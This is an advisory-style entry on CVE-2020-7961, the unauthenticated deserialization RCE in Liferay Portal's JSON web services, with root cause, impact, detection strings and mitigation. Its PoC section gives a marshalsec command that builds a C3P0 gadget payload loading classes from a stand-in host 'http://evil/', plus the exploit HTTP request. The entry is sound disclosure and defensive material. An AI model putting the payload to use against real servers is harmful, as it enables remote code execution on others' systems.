Liferay Portal JSONWS Deserialization

Product: Liferay Liferay Portal
CVE: CVE-2020-7961
Disclosed: 2020-03-20
CVSS: 9.8
Auth: pre-auth
CISA KEV: yes
Affected: < 7.2.1 CE GA2 (and corresponding DXP fix packs)
Fixed: 7.2.1 CE GA2

Summary

Liferay's JSON web services API allowed callers to specify arbitrary Java types for object parameters, which were then instantiated by the Jodd/Flexjson deserializer. Unauthenticated requests to /api/jsonws/invoke could thus trigger Java gadget chains and execute code.

Root cause

JSONWS supports '+param:fully.qualified.Class' syntax to choose a parameter's concrete type and its JSON deserializer will instantiate and populate that class. With no whitelist, classes like com.mchange.v2.c3p0.WrapperConnectionPoolDataSource can be used to load attacker-controlled serialized data or remote classes.

Impact

Unauthenticated RCE on Liferay Portal; widely exploited for botnets and cryptominers.

Public PoC

# payload generated with: java -cp marshalsec.jar marshalsec.Jackson C3P0WrapperConnPool http://evil/ LifExp
POST /api/jsonws/invoke HTTP/1.1
Host: target:8080
Content-Type: application/x-www-form-urlencoded

cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced0005..."}

Source: vulhub / liferay-portal/CVE-2020-7961

Detection

Look for /api/jsonws/invoke requests containing '+defaultData:' or class names such as 'c3p0' or 'HexAsciiSerializedMap'. nuclei template CVE-2020-7961.

Mitigation

Upgrade to 7.2.1 CE GA2 / patched DXP fix packs, or restrict access to /api/jsonws.